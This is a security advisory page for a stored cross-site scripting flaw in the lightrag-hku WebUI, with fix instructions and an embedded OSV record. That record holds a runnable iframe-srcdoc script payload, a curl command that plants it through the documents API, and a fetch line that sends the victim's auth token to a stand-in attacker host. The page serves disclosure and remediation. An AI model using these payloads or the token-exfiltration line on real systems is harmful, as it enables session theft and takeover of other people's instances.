CVE-2026-86062: lightrag-hku Cross-Site Scripting Vulnerability
MODERATECVE-2026-86062 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting lightrag-hku libraries in the PyPI ecosystem. The issue involves stored cross-site scripting (xss) in the lightrag webui chat/answer renderer via ingested content. Remediation is available by upgrading affected packages to version 1.5.5.
CVE-2026-86062 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-86062
To remediate this vulnerability, upgrade all affected lightrag-hku dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install lightrag-hku>=1.5.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show lightrag-hku
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-86062, inspect your installed packages using pip:
pip show lightrag-hku
Analyze the terminal output to locate any version of lightrag-hku in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.5), your application is affected.
Note: The pip show lightrag-hku command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In lightrag-hku, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-86062 Affected lightrag-hku Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
lightrag-hku
|
PyPI |
< 1.5.5
|
1.5.5
|
References
Frequently Asked Questions
What is CVE-2026-86062?
Which lightrag-hku versions are affected?
What version fixes CVE-2026-86062?
Is lightrag-hku affected?
What is the CVSS score of CVE-2026-86062?
What CWE is associated with CVE-2026-86062?
How can I check PyPI dependencies for CVE-2026-86062?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xpjq-3w4w-w5wr",
"modified" : "2026-09-22T20:40:27Z",
"published" : "2026-09-22T20:40:27Z",
"aliases" : [ "CVE-2026-86062" ],
"summary" : "lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content",
"details" : "### Summary\nThe LightRAG WebUI renders assistant/answer chat content as **raw HTML** — `react-markdown` is\nconfigured with `rehypePlugins={[rehypeRaw]}` and `skipHtml={false}` and **no** HTML sanitizer\n(`rehype-sanitize`), element allow-list, or custom `urlTransform`. Because answer content is derived\nfrom user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript\npayload that executes in the browser of any user who later retrieves it (typically an administrator),\nleading to auth-token theft from `localStorage` and full API takeover. No authentication is required in\nthe default configuration.\n\n### Details\nSink — `lightrag_webui/src/components/retrieval/ChatMessage.tsx`:\n- Main answer (`MessageMarkdown`, lines ~348-351) and thinking content (lines ~252-272) render with\n `rehypePlugins={[rehypeRaw, …]}` and `skipHtml={false}`. The `components` map (lines ~111-156) only\n restyles safe formatting tags (`p`, `h1`–`h4`, `ul`, `ol`, `li`, `code`); there is no\n `rehype-sanitize`, no `allowedElements`/`disallowedElements`, and no custom `urlTransform`.\n- Second sink: mermaid is initialized with `securityLevel: 'loose'` (line ~433) and the rendered SVG is\n injected via `container.innerHTML = svg` (line ~483) + `bindFunctions(container)`. `'loose'` disables\n mermaid's output sanitization, so a ` ```mermaid ` block in answer content (HTML label / `click`\n directive) is an additional script-execution path.\n- Hardening (not code execution): KaTeX is set with `trust: true` (lines ~261/~359). `\\href{javascript:…}`\n is blocked by React 19, but `\\includegraphics{URL}` renders a live remote `<img src>` (arbitrary\n external resource load from the victim's browser). Recommend `trust: false`.\n\nSource → sink:\n`POST /documents/text` or `POST /documents/upload` stores the document → `POST /query` returns it\n(verbatim when `only_need_context=true`, `lightrag/api/routers/query_routes.py:27`; otherwise echoed by\nthe LLM) → the response is streamed into `assistantMessage.content`\n(`lightrag_webui/src/features/RetrievalView.tsx:340`) → rendered by the sink above.\n\nreact-markdown's built-in defenses do NOT cover this: it sanitizes `href`/`src` URLs (so `javascript:`\nlinks are blocked) and React ignores string event handlers (so `<img onerror>` is dropped), but raw\nelements such as `<iframe srcdoc=\"…\">` and `<svg><script>` are rendered unchanged and execute.\n\n### PoC\nBenign, local-only. Tested at commit `f3378a3` (v1.5.5) with `react@19`, `react-markdown@10.1.0`,\n`rehype-raw@7.0.0`.\n\n**Fastest check (code review, ~10s):** in `ChatMessage.tsx`, the `<ReactMarkdown>` that renders answers\nuses `rehypePlugins={[rehypeRaw, …]}` with `skipHtml={false}` and no `rehype-sanitize` / allow-list.\nPer react-markdown's own documentation, `rehype-raw` on untrusted input without `rehype-sanitize`\nallows HTML injection — that is the vulnerability.\n\n**Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:**\n```bash\nmkdir xss-check && cd xss-check\nnpm init -y\nnpm install react@19 react-dom@19 react-markdown@10 rehype-raw@7\n# save the script below as poc.mjs, then:\nnode poc.mjs\n# open the generated poc.html in any browser (or headless):\n# msedge --headless=new --dump-dom \"file:///ABS/PATH/poc.html\"\n```\n`poc.mjs`:\n```js\nimport React from 'react';\nimport { renderToStaticMarkup } from 'react-dom/server';\nimport ReactMarkdown from 'react-markdown';\nimport rehypeRaw from 'rehype-raw';\nimport { writeFileSync } from 'fs';\n\n// Stands in for an assistant answer built from an ingested document.\nconst answer =\n `<iframe srcdoc=\"<script>` +\n `var h=parent.document.createElement('h1');h.style.color='red';` +\n `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +\n `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +\n `<\\/script>\"></iframe>`;\n\n// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):\nconst body = renderToStaticMarkup(\n React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)\n);\nwriteFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);\nconsole.log(body); // note the LIVE <iframe srcDoc=\"...\"> — not HTML-escaped\n```\n\n**Observed** (verified in headless Chromium/Edge): the injected `srcdoc` script runs — the page title\nbecomes `XSS-EXECUTED` and a red \"XSS EXECUTED on this page\" heading is appended to the document. This\nconfirms attacker HTML in answer content executes. (Separately: `<script>`, `<svg><script>`, and\n`<iframe srcdoc>` survive rendering; `<img onerror>` and `javascript:` links are neutralized by React /\nreact-markdown, so `<iframe srcdoc>` is the reliable vector.)\n\n**Illustrative end-to-end source path (in a live instance):**\n```bash\ncurl -X POST http://127.0.0.1:9621/documents/text \\\n -H 'Content-Type: application/json' \\\n -d '{\"text\":\"<iframe srcdoc=\\\"<script>document.title=document.domain</script>\\\"></iframe>\",\"file_source\":\"note.md\"}'\n```\nThen query the knowledge base from the WebUI (or `POST /query` with `only_need_context=true`); the stored\npayload renders and the benign marker script runs in the viewer's browser (the page title becomes the\norigin). A real attacker replaces the benign marker with\n`fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))` to exfiltrate the victim's JWT\n(verified storage key) and impersonate them against the API.\n\n### Impact\nStored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any\nauthenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs\narbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the\nauth token in `localStorage`, the injected script can read it and drive the API as the victim\n(exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full\naccount/instance takeover.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "lightrag-hku"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.5.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.5.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-86062"
}, {
"type" : "WEB",
"url" : "https://github.com/HKUDS/LightRAG/pull/3437"
}, {
"type" : "WEB",
"url" : "https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/HKUDS/LightRAG"
}, {
"type" : "WEB",
"url" : "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-22T20:40:27Z",
"nvd_published_at" : "2026-09-22T17:17:27Z"
}
}